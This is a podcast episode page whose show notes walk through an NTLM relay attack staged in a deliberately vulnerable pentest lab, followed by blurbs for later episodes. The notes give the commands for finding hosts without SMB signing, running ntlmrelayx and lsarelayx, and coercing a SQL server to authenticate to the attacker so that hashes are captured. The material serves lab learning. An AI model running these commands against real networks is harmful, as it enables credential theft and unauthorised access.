7 Minute Security5 Maj 2023

7MS #570: How to Build a Vulnerable Pentest Lab - Part 4

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!

In today's episode we staged an NTLM relay attack using a vulnerable SQL server.

First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled:

cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt

Then we setup lsarelayx in one window:

lsarelayx --host=localhost

And in a second window we ran ntlmrelayx.py:

python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM

Finally, in a third window we triggered authentication from the vulnerable SQL server:

Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS

Boom! Watch the local usernames and hashes fall out of the victim system.

We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this:

victim1 victim2 victim3

Then we tweaked the ntlmrelayx command slightly:

python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt

Interestingly(?) only victim2 was attacked.

Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay:

python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socks

Interestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server.

TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.

Det här avsnittet är hämtat från ett öppet RSS-flöde och publiceras inte av Podme. Det kan innehålla reklam.

Avsnitt(745)

7MS #745: Securing Your Family During and After a Disaster – Part 10

This episode is a downer, but asks some important topics related to losing a loved one: Do you know what their wishes are for their funeral, their money, cremation vs. burial vs. other? Do you know a...

23 Okt 23min

7MS #744: Using n8n to Automate the Security Dog Food

Hey friends! Today I'm mashing two of our mini-series — eating the security dog food and my new obsession with n8n — into one big automation sandwich. I'll walk you through how Claude and a bunch of J...

17 Okt 26min

7MS #743: Eating the Security Dog Food - Part 9

Hey friends, it has been a long time since we talked about eating our own security dog food. However, I couldn't be more excited about some big ways we've moved the 7MinSec security program forward, ...

9 Okt 25min

7MS #742: Baby's First n8n

Hey friends! I've got some personal and work travel this week, so I'm skipping the tangents (mostly) and jumping straight into something I'm nerdily excited about: Baby's First n8n. If you're not fami...

2 Okt 26min

7MS #741: Tales of Pentest Pwnage - Part 91

Hey friends! Today's tale of pentest pwnage is brought to you by four hours of sleep, a large mint hot cocoa, and unhealthy levels of giggity. There's a very good reason for all three, but you'll have...

25 Sep 36min

7MS #740: Tales of Pentest Pwnage - Part 90

Hey friends! We've been on a bit of a Tales of Pentest Pwnage bender lately, so let's keep it rolling with Part 90. (And Mom, relax — this is not one pentest story chopped into 90 parts.) Today is les...

18 Sep 33min

7MS #739: Tales of Pentest Pwnage – Part 89

Hey friends! Today is a tale of pentest pwnage episode, and this one features a path to escalation I have never seen before – one I could only find few references on the entire Internet. It happened c...

11 Sep 17min

7MS #738: Baby's First ProjectDiscovery Neo

Hey friends! Today I'm talking about Baby's First Neo — and to be crystal clear, I don't mean Keanu, and I don't mean the R&B guy with the hat. I mean the AI-powered pentest assistant from our pals at...

4 Sep 29min